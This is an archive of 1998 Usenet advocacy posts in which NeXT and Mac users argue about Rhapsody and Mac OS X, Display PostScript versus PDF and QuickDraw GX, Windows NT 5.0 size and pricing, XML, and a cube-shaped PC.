> Now, I'd *really* like it if every darn configuration file on every Unix
> machine were in XML, with common tags negotiated by operating system
> groups. And then, of course, NetInfo-like XML network distribution.
>
> That would be a real fundamental improvement.
Well, it appears I didn't have quite the knowledge of XML that I thought I did
after reading a few web pages about it. I apologize for any confusion, but I am
still of the opinion that the amount of organization and coordination necessary
amongst 1000's of people to make XML what we would all like it to be won't happen.
My educated guess is that JUST as people start getting the hang of what XML can do
(or any other technology for that matter), something else will come along, pushed
by a company with lots of money, and will fool the masses into reverting their
technological stance by 10 years just to get a few new features that didn't exist
with the current technology (but which could be implemented in the current
technology given just the right amount of cooperation among people).
I'll sign off now before I depress anyone else. :)
Eric
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Killing DPS for EQD is STUPID!
Date: 12 Jun 1998 21:44:40 GMT
Organization: Digital Fix Development
Message-ID: <6ls7g8$5d3$1@news.digifix.com>
References: <358018FA.61F1@rs6000.cmp.ilstu.edu> <6lpd91$5c5$1@news.digifix.com> <slrn6o16bf.l4v.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-1106982334500001@dialin9229.slip.uci.edu>
In-Reply-To: <rmcassid-1106982334500001@dialin9229.slip.uci.edu>
On 06/11/98, Robert Cassidy wrote:
>In article <slrn6o16bf.l4v.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
>mbkennel <replace this with '@'> yahoo.com wrote:
>
>> On 11 Jun 1998 20:04:49 GMT, Scott Anguish <sanguish@digifix.com>
wrote:
>> : - DPS costs Apple money.. Adobe, in its infinite stupidity
has
>> :said that they'd rather DPS died that give Apple DPS for free
>>
>> This is really really stupid of Adobe. It will inevitably face
more
>> competition from Microsoft on Windows than it would from anybody
else on the
>> Mac.
>
>I'm going to return to my original contention that Adobe *really*
wants
>DPS to die in favor of PDF. PDF is Adobe's key to future riches (if
they
>get off their asses and put out some decent PDF tools)
<snip>
This is quite true.. however, they could, in a huge show of
good faith and support of Apple's decision agree to drop the licensing
on Rhapsody 1.0 and YB/Windows in return for Apple's assurance that
PDF is the future on Mac OS X.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 12 Jun 1998 16:57:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6lsf8c$6bc@nntp02.primenet.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com>
Nathan Urban <nurban@vt.edu> wrote:
: In article <6lrcps$b9@nntp02.primenet.com>, John Jensen <jjens@primenet.com> wrote:
: > : That may not be the case (I think RDR2 isn't even binary compatible
: > : with RDR1). But they'll be source-level compatible, at least in the
: > : forward direction (Rhapsody to OS X).
: > Right, just like they'll be source-level compatible to NT. Does that mean
: > NT is Rhapsody?
: Don't be an idiot. I never claimed that source-level compatibility
: meant that MacOS X is Rhapsody. There are plenty of _other_ reasons to
: believe that (such as the same Mach/BSD core).
What I find amusing is how far you are willing to bend the word "is". You
say that MacOS will not run Rhapsody binaries, but it "is" Rhapsody
because they share some ill defined core.
It's like an Apple spokesman is at the front of the room with a white
cardboard box labeled "MacOS X". He says "Rhapsody is dead, but this box
contians the same core technology as Rhapsody". In the back of the room
you turn to me and say "Ahh, MacOS is Rhapsody".
Well, not many people will disagree ... because most people just left the
room.
John
From: Look@the.signature (John Wiltshire)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: Sat, 13 Jun 1998 00:02:59 GMT
Organization: Traffic Systems Development
Message-ID: <3582be22.4061199@news.uq.edu.au>
References: <6lk75t$afl@newsb.netnews.att.com> <357ECD5C.15FB7483@ctron.com> <6lmmap$k2i$3@cronkite.cygnus.com> <357EFD28.ABD322C@ctron.com> <6lopaf$86v@newsb.netnews.att.com>
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On 11 Jun 1998 14:24:15 GMT, gupta@kcopsrm.tm.tta.moc-mirror after @
wrote in comp.sys.mac.advocacy:
>Regarding the size and bug-free(less)ness of NT 5.0 :
>
>a. I think the Allchin comment from October 97, that NT beta 1 is
> 27 million lines of code is authoritative.
Sounds about as authorities as you are going to get from Microsoft.
>b. Another LANTimes article from December 98, has the following to
> say : this one is to be trusted less.
>
> http://www.lantimes.com/97/97dec/712a057b.html
>
>
>Beta 1 of version 5 has more than 30 million lines of code in the
>base OS. In comparison, version 4.0 had 16.5 million lines of code,
>and version 3.1 had 6.1 million. In other words, Microsoft has added
>more than twice as much new code between versions 4 and 5 as was
>in all of Windows NT 3.1. And this total is the base OS, which does
>not include Internet Information Server, Internet Explorer, and all
>the other co-packaged goodies.
I seriously doubt this estimate. The language itself is pretty vague
and the definition of "base OS" as far as MS is concerned is a pretty
hot issue. My guess is they got the quote as "base OS" and expanded
their own interpretation on it. MS is considering IIS and IE as base
OS now last I looked.
>c. Nicholas Petreley examines Enderle's remarks with much the
> same conclusions, but in inimitable style at :
>
>http://www.ncworldmag.com/ncworld/ncw-06-1998/ncw-06-straypackets.html
>
>A few quotes :
>
>There's no Enderle to my admiration
>
>
>That yang, by the way, goes by the name of Rob Enderle. Rob is an
>analyst for the Giga Information Group. And like me, Rob has a reputation.
>Rob's reputation is for being a Microsoft apologist. He's been about
>as critical of Microsoft as I've been positive. Even as I predicted
>the eventual downfall of Microsoft and the rise of OS/2, Rob was
>predicting Windows 95 would sweep through the installed base of Windows
>3.1 just months after Windows 95 was released. It turns out we were
>both wrong. ....
>
>[Petreley then goes through a list of Enderle's
>recent statements, showing from where he comes. He then cites the
>Enderle warning about NT 5.0, and writes :]
>
>But that spin makes his earlier advice no less dramatic. When a
>Microsoft apologist such as Rob Enderle warns you to stay away
>from Windows NT 5.0, I'd recommend putting no less than thirteen
>light years between you and the product.
Given their current beta program and the fact they won't be releasing
for at least another 12 months (IMHO), I don't know whether that is
particularly fair. There are quite a few things in NT 5 that you will
want installed almost immediately. Active directory springs to
mind...
Microsoft are also saying that their beta 2 release of NT5 will be of
the same quality as the initial production release of NT4. I'm not
sure whether that is a good thing or a bad thing, but it seems they
are willing to hold back NT5 until it is ready.
>d. Regarding real FUD, (and its debunking) here is another from
>NC World Magazine :
>
>http://www.ncworldmag.com/ncworld/ncw-06-1998/ncw-06-running.html
>
>[stuff being debunked]
>>Now, with many customers making the transition to NT due to its
>>promise of lower cost and comparative ease of use. . .
>
>
>Despite the fact that this myth is widespread, this one is almost
>too easy to refute. So we'll avoid the obvious comparison between
>Windows NT and Linux or FreeBSD.
>
>The price for Solaris 2.6 x86 Server is $3,885 for unlimited network
>clients and 50 email clients. The price for Windows NT Server is
>$7,064 for 50 network clients and 50 email clients.
>
>How did we get those numbers? A 5-user version of Solaris for $1,295.
>You can expand that to unlimited users for an additional $1,295.
>Add $1,295 to that for the Netscape Messaging Server with 50 client
>licenses.
>
>The price for Windows NT Server is $1,129 for the 10-user edition.
>Add two 20-user license packs at $339 each. Add $999 for Exchange
>Server for email capabilities, and two 25-user license packs for
>Exchange server at $2,129 each. Some prefer to compare the features
>of Solaris 2.6 x86 to Windows NT Server Enterprise Edition. If so,
>the Windows NT 4.0 Server Enterprise Edition costs $4,799 for the
>server plus 50 user licenses.
>
>The bottom line is that a comparison between Solaris and NT comes
>down to $3,885 vs. $7,064, or $3,885 vs. $4,799 -- and you don't
>even get unlimited network users on NT for the extra money. Now,
>what was that point about the transition to NT due to its promise
>of lower cost?
These figures are pure myth. Why on earth is Exchange being compared
to Netscape Messaging Server? By the figures here I get:
Solaris for 50 users == $2590
NT for 50 users == $1807
Put Netscape on both of these and you get NT being cheaper than
Solaris by a fair margin, not to mention that NMS has a lower system
requirement for NT than Solaris 2.6!!
http://merchant.netscape.com/netstore/servers/messaging.html
The real comparison here would be if you put SuiteSpot on the NT box
which gives the figures:
Solaris + Suitespot: $6690
NT + Exchange: $7064
Of course, you can put Suitespot on NT and get a cheaper figure. All
this little exercise showed was that Exchange is quite expensive.
John Wiltshire
------------------------------------------------------
John Wiltshire | (w) +61 7 38342783
jw@qits dot net dot au | (m) +61 417 797897
------------------------------------------------------
Fear: when you see B8 00 4C CD 21 and you know what it means.
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 13 Jun 1998 01:54:21 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6lsm4d$14p$8@blue.hex.net>
References: <6lmhvn$k2i$2@cronkite.cygnus.com>
On 10 Jun 1998 18:06:47 GMT, John Rudd <jrudd@cygnus.com> wrote:
>
>Got my new issue of PS in the mail the other day.. in their section
>previewing new high tech products, they mention a great new idea in personal
>computing:
>
>Someone is about to release a PC in a fashionable black cube!
>
>Wow, the innovation in the PC market will never cease to amaze me..
The *important* innovative question is, of course, whether the "Rock
City" PC comes with the girl or not...
(Before flaming such flagrant and obvious sexism, first see the web site
at <http://www.rockcity.com>...)
--
"Are [Linux users] lemmings collectively jumping off of the cliff of
reliable, well-engineered commercial software?" (By Matt Welsh)
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Huh?
Date: 13 Jun 1998 02:08:08 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o3no8.9pi.sal@panix3.panix.com>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com> <cdoutyEuGqL7.EvE@netcom.com>
On Fri, 12 Jun 1998 23:58:19 GMT, Chris Douty <cdouty@netcom.com> wrote:
>From unofficial comments on the OS X plans heard at the last BANG meeting,
>it seemed likely that OS X would not have a shell. Period. "The BSD APIs
>will be there for anyone to compile against." It also seemd likely that
>various "MacOS Managers" would take over from the BSD/OpenStep programs
>currently providing equivalent service in Mach today. I dunno exactly
>what a "MacOS Manager" is but it ain't Unix.
Can you provide quotes or names to go along with these statments? They
contradict what has been said by Apple at the WWDC. Scott Anguish reported
from the WWDC and summerized what *APPLE* stated about MacOSX. You can
read his report at http://www.stepwise.com/SpecialCoverage/WWDC98/Summary.html
This is a quote:
"BSD/Unix Capabilities in Mac OS X
Mac OS X is based on a Mach 3.0 kernel, but the
various Unix and networking components have been
pulled from NetBSD, OpenBSD and FreeBSD. They'll also
be pulling more code from net releases as required and
appropriate. Mac OS X will have the BSD APIs as well
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
as the POSIX APIs, and as a result all the Unix
^^^^^^^^^^^^^^^^^^^^^^^^
capabilities that are present in Rhapsody will be
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
possible. However, Apple is planning on making the
^^^^^^^^^
Unix tools an optional component in some
configurations."
If you are wondering if Stepwise can be trusted, keep in mind that Apple
lists Stepwise on it's Rhapsody page as a source of information on Rhapsody
and related technologies. <http://developer.apple.com/rhapsody/> Also keep
in mind that Ernest Prabhakhar (sp?) who is the Rhapsody product manager for
Apple, and Jordan Dea-Mattson (sp?) who works in developer relations for Apple
have both been quoted as stating that Stepwise is a good source of news on
Rhapsody. (I can provide both quotes if you want.)
Stepwise has been a great source of both news and technical info on NeXT/OpenStep
and now Rhapsody. They are not like MacOSRumors or other sites like that.
>I'm hoping that they Do the Right Thing(tm) and provide
>full unix services on every MacOS X CD. I'm less concerned about whether
>its installed by default than having it available to *EVERYONE*. I'm
>also hoping that MacOS X for PC Compatibles will appear. Mass converions
>of offices are easier if they can reuse old hardware.
It looks like you'll get your wish. You might want to tune into the Rhapsody-Dev
and Rhapsody-Talk mailing lists to find out more. Apple people are on the list
and have done a lot of good in terms of resolving questions on the technology.
--
sal@panix.com
Salvatore Denaro
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 17:17:05 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A712E6-14A5F@206.165.43.150>
References: <6lrnh5$fjd$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Maury Markowitz <maury@remove_this.istar.ca> said:
>> "The common set of graphics services for Yellow [Box] and Carbon we are
>> creating is a local, rather than a client/server, graphics system,"
>> Danbold said. "It's much smaller, it uses less RAM and it'll offer
better
>> performance."
>
> Actually I don't remember any of those arguments being used for GX over
>DPS. Specifically DPS seemed to be faster and smaller IIRC.
>
>> Man, I've got some *serious* deja vu happening from that second
>> clipping. How many times did us GX advocates bring that issue up over
the
>> last year and a half?
>
> Hmmm. Not once?
Um, lots?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Jonathan Hendry <jhendry@subsequent.com>
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 13 Jun 1998 02:54:45 GMT
Organization: Steel Driving Software, Chicago
Sender: Jonathan Hendry <jhendry@isdnjhendry.cmg.fcnbd.com>
Message-ID: <6lspll$d24@sjx-ixn6.ix.netcom.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <01bd94d0$42ddea30$04387880@test1> <6lsl8f$co3$1@hiram.io.com>
> In article <01bd94d0$42ddea30$04387880@test1>,
> Todd Heberlein <todd@NetSQ.com> wrote:
> >John Rudd <jrudd@cygnus.com> wrote
> >> Someone is about to release a PC in a fashionable black cube!
> >
> >See the following web address for a bad picture:
> > http://www.rockcity.net/01specs/01a-overview.html
> >
> >It is also being discussed in the "Rock City" thread.
> >
> >The innovative feature is the brace that stands it up on the cube's
> >corner. Combined with the flat panel monitor (a fairly small one),
> >it takes very little desk space.
The cube looks a bit gaudy. It would look good in an apartment
full of Patrick Nagel prints and neon sculptures from Sharper
Image. It looks a little like the base of a lamp you'd find at
a flea market.
The coolest computer I've seen was an HP PA-Risc workstation,
running NeXTSTEP, built into a 1024x768 LCD display. It was about
three inches thick, and the display was on a little tripod stand.
It was a utilitarian gray, and had a prototype-ish look about it.
This was around late 1994/early 1995.
A G3 motherboard built into the back of an Apple Studio Display
would be way, way cool. Especially if the display could do 1280x1024.
Put it on a drafting-lamp-style arm, and it'd be fabulous.
- Jon
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 13 Jun 1998 00:22:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6lsgo6$95a$1@nnrp1.dejanews.com>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net> <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM> <6lrj05$hlm$16@gte1.gte.net> <01bd9646$a1100260$8383050a@bgravitt.CORP.VHA.COM>
In article <01bd9646$a1100260$8383050a@bgravitt.CORP.VHA.COM>,
"VHA PC Development" <codifex@airmail.net> wrote:
> Other vendors are being pushed out or backed into a corner. Take
> Borland/Inprise for example; they used to be the major player in compilers
> and development tools for DOS/Windows. After MFC was put forward as the
> standard on Windows systems, the Object Windows Library was view as
> incompatible by many developers. In reality, the OWL is mainly an
> encapsulation of the foundation objects of Windows with the subclassing
> being a snap.
As someone who spends my days developing OWL applications, let me explain why
I think that OWL isn't as popular as MFC. OWL is crap. It the worst framework
that I have ever used. And the Borland IDE is also crap. We can get into
specifics if you want (and venting could be theraputic for me) but I would
never choose to start a new project in OWL versus MFC or even direct win32
calls.
> Do you use any tools from other vendors? And if so, which and what
> percentage of total?
I replaced Visual Studio with Codewarrior for my non-OWL development. I'm not
arguing with your point; just answering the question.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 13 Jun 1998 00:40:03 GMT
Organization: I don't think so
Message-ID: <slrn6o3j0s.7cr.jason@jhste1.dyn.ml.org>
References: <9806122206.AA03320@palmer.cca.rockwell.com> <B1A70F54-7381@206.165.43.150>
Lawson English posted the following to comp.sys.mac.advocacy:
>Big whoop. Most of my friends laugh at the NeXTers for being so hostile in
>replying to me because regardless of how many errors *I* make, replying
>with hostility always make the person making the hostile response look bad,
>regardless of who is technically correct.
But the ones who reply in a hostile manner have a hatchet and weigh
three hundred pounds, or something like that...
;)
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
Date: 13 Jun 1998 01:48:16 GMT
Organization: P & L Systems
Message-ID: <6lslp0$8fa$2@ironhorse.plsys.co.uk>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com>
<6lpgek$l79@nntp02.primenet.com> <6lpq3f$j3o$1@crib.corepower.com>
<358136AC.C4DA11CC@bcomp.com>
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Content-Transfer-Encoding: 7bit
Cc: afrabutt@bcomp.com
In <358136AC.C4DA11CC@bcomp.com> Alan Frabutt wrote:
> Vanilla UNIX under the hood doesn't buy apple more than a ticket into
> the enterprise marketplace. Once there, you have to have something to
> sell. Noble efforts will continue to be made to keep the current version
> of sendmail, etc., compiled on the platform, but where does that go?
> They have the opportunity to do what the other UNIX vendors haven't
> tried... take the power of UNIX beyond (arguably) arcane library API's,
> into objects. Tremendous leverage. And Apple could leverage the ongoing
> development in the free UNIX arena to it's advantage. There is no way
> they can or should re-invent what UNIX offers at some obsolete Mac
> toolbox level...
>
> I'm probably sounding hysterical, but I can't imagine Apple succeeding
> without a server OS strategy.
>
Yup, all sensible stuff. And since I'm in a really uptight mood at the
moment I'm going to lash out on this one...
The trouble is the average Mac user who posts to public forums about this
subject seems so selfish about their fear of even possibly catching sight of
the Terminal.app icon that they're willing to make such a brou-ha-ha about it
that Unix may be completely invisible and unnecessarily hard to get at.
This is stupid, selfish and shortsighted, because (a) the average user will
have no need to go near it, but more importantly (b) Apple may lose entree
into some very useful markets (esp enterprise) as a result.
To all those feeling squeamish about Unix, I ask you to think about how
successful you want Apple to be. Do you think you might possibly be able to
put up with an application you'll never use taking up less than 1MB on your
hard drive, just so that Apple has a chance of selling a couple of thousand
more seats? If you still have the jitters, just think of the CLI as being a
sort of System-level AppleScript. AppleScript good? SystemScript double
plus good...
mmalc.
From: ix@pentagon.io.com (Lupo LeBoucher)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 13 Jun 1998 01:39:27 GMT
Organization: Illuminati Online
Message-ID: <6lsl8f$co3$1@hiram.io.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <01bd94d0$42ddea30$04387880@test1>
NNTP-Posting-Date: 13 Jun 1998 01:39:27 GMT
In article <01bd94d0$42ddea30$04387880@test1>,
Todd Heberlein <todd@NetSQ.com> wrote:
>John Rudd <jrudd@cygnus.com> wrote
>> Someone is about to release a PC in a fashionable black cube!
>
>See the following web address for a bad picture:
> http://www.rockcity.net/01specs/01a-overview.html
>
>It is also being discussed in the "Rock City" thread.
>
>The innovative feature is the brace that stands it up on the cube's
>corner. Combined with the flat panel monitor (a fairly small one),
>it takes very little desk space.
>
>With a 233 MHz Cyrix, with a board supporting a maximum CPU speed of
>300 MHz, it looks pretty underwhelming.
You apparently missed the 533 Mhz alpha model.
Too bad NeXT is still 32 bit.
-Lupo
"and then, the madness, the frenzy, the boiling blood and the smoking brow,
with which, for a thousand lowerings old Ahab has furiously,foamingly
chased his prey- more a demon than a man!" <ix@pentagon.io.com>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 19:43:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A7353C-7074@206.165.43.122>
References: <6lsl4g$8fa$1@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
>
>In <B1A69D89-361D6@206.165.43.126> "Lawson English" wrote:
>
>> Excuse? I've got 3 overlapping, semi-transparent circles, each with
>> different colors. Are you telling me that the above will produce an
>> EPS image with 7 closed paths filled with the appropriate colors that
>> can then be printed on any generic PS printer or displayed via any
>> EPS-compatible application on any platform with color intact?
>>
>You stated:
>
>> But DPS can't output overlapping, resolution-independent,
>> non-opaque objects to PDF OR EPS, can it?
>>
>The answer to that question is: "Yes, it can."
Excuse me? If something is truely output to PDF or EPS, then it satisfies
my expanded set of criteria since PDF and EPS are platform-independent and
resolution-independent. Your solution doesn't do that. Doesn't even come
close, does it?
Or do you chose to narrow my non-specific question to that tiny subset of
objects that CAN be output to EPS the way that you claimed?
OK, so answer my expanded question:
>> Excuse? I've got 3 overlapping, semi-transparent circles, each with
>> different colors. Are you telling me that the above will produce an
>> EPS image with 7 closed paths filled with the appropriate colors that
>> can then be printed on any generic PS printer or displayed via any
>> EPS-compatible application on any platform with color intact?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sat, 13 Jun 1998 01:19:51 -0500
Organization: (none)
Message-ID: <jdoherty-1306980119520001@aus-tx22-02.ix.netcom.com>
References: <35796BDB.2AEDD69@trilithon.com> <B19EBDA9-1BDD5@206.165.43.115> <6levgb$adf$10@ironhorse.plsys.co.uk> <ldo-1006981707060001@a53.hn3.wave.co.nz> <6llk0a$hs1$5@ns3.vrx.net> <slrn6ntoqt.q83.ben@ben.tapehouse.net> <slrn6nts3u.n12.sal@panix3.panix.com> <ldo-1106981818050001@a7.hn3.wave.co.nz>
In article <ldo-1106981818050001@a7.hn3.wave.co.nz>,
ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) wrote:
| The PostScript graphics model was... designed for... making marks on
| paper, and that is the only application area in which it has had any
| success.
Which means that it has had success in one more application than GX has
or ever will.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: Fri, 12 Jun 1998 22:10:43 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1dai5yz.978nbh19953xuN@carina32.wco.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <rmcassid-0906981511310001@dante.eng.uci.edu> <slrn6ns2jt.qvl.sal@panix3.panix.com> <rmcassid-1006980015520001@dialin9155.slip.uci.edu> <*johnnyc*-1006980924480001@mac49-38.psychology.dal.ca> <SCOTT.98Jun10093531@slave.doubleu.com> <35805722.853FAC1E@wildfire.com> <rmcassid-1106981617130001@dante.eng.uci.edu>
Robert Cassidy <rmcassid@uci.edu> wrote:
> >I'll hijack your meaning here and say that adding a battery to a VCR
> >would be dumb. Adding a means to take a global time reading off the
> >blanking interval in a broadcast video signal is a much better solution!
> >
> >It would be the one clock in your life that was correct (for most of
> >us).
>
> Does that mean you need to teach your VCR what timezone and daylight
> savings time scheme it's in?
The industry beat you to it. Most VCRs above the bottom rung use a long
life rechargable battery (similar to what's been done on many PC
motherboards).
Most PBS stations in the U.S.A. broadcast a time signal tucked away in
their signal. For most VCRs, the user has to enter a PBS channel number
(in their time zone!) into a VCR supporting this feature, and the clock
is then kept current.
A few of the high end VCRs automatically sniff around at all the
channels when first connected, and do all sorts of interesting things
with the discovered information.
The UI on these things is still abysmal, but they are getting better.
I wonder how many of them have Java VMs inside?
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Fri, 12 Jun 1998 22:10:45 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1dai6xe.1yfrapp1rpju4gN@carina32.wco.com>
References: <rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100> <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3> <6kkfev$ojb$1@news.cs.tu-berlin.de> <rex-2805981808060001@192.168.0.3> <6km24a$s3m$3@ns3.vrx.net> <B1943079-ED44D@206.165.43.122> <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <ldo-0406981933530001@a24.hn1.wave.co.nz> <6l88l3$j4c$1@goanna.cs.rmit.edu.au> <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz>
Lawrence D'Oliveiro <ldo@geek-central.gen.new_zealand> wrote:
> The fact that, in all the years that PDF has been around, no one (not even
> Adobe) has been able to come up with an implementation that does any
> better?
I know of one...
It's worth noting that Acrobat's purpose in life is to be a freebie
promotional giveaway PDF viewer, converting PDF to low resolution
pixmaps. Acrobat is not suitable for use in printers, platesetters, or
plotters.
There are other products more suitable for processing PDF for high
resolution raster or vector output. I'd suggest looking at things like
5D's JAWS engine. There are a number of application-specific Mac
products based on it.
--
Mike Paquette mpaque@wco.com
Well, if there *were* anything to say, it would be with the
understandingthat the PR/Marketing people want to make the
announcements on products,so anything I have to say wouldn't
actually exist until after then, sowhat I might have to say now
doesn't exist, and what I may say in future can't be said, so
theoretically what exists, doesn't, for the immediate future.
(With apologies to Joe Straczynski)
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: Sat, 13 Jun 1998 01:48:59 -0400
Organization: BM
Message-ID: <6lt3l2$odr$1@suriname.it.earthlink.net>
References: <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981539290001@dante.eng.uci.edu>
<6lji4s$pns$1@new-news.cc.brandeis.edu>
<rmcassid-0906981239540001@dante.eng.uci.edu>
<slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu>
<ldo-1106981751380001@a7.hn3.wave.co.nz>
<357FA2ED.FC1EF0C9@alum.mit.edu> <SCOTT.98Jun11091928@slave.doubleu.com>
<6lpm6j$2f1$1@news.xmission.com> <35806EA4.100A9B0E@alum.mit.edu>
<SCOTT.98Jun11182754@slave.doubleu.com> <6lq9lf$m6c$1@news.xmission.com>
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don@misckit.com (Don Yacktman) wrote:
>If MS Office wrote out XML data, it would be really easy to
>convert it into any other format you knew about. Think about the
>implications of that. Part of MS' monopoly hinges on the fact that they are
>holding everyone's data hostage in proprietary formatted MS Office data
>files...
How do you explain MS people running up and down telling us that Office will
read/write XML and even that XML may become its file format? MS sees XML as a
way to let a web browser display Office docs (Word, Excel, Powerpoint files)
directly.
Perhaps the MS plan is to give up the Office file format lock-up for the ability
to dictate industry-wide DTDs through its sheer size and dominance. With
Encarta, Expedia, Investor, etc., MS web sites controlling their respective
industries.
Ziya Oz
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
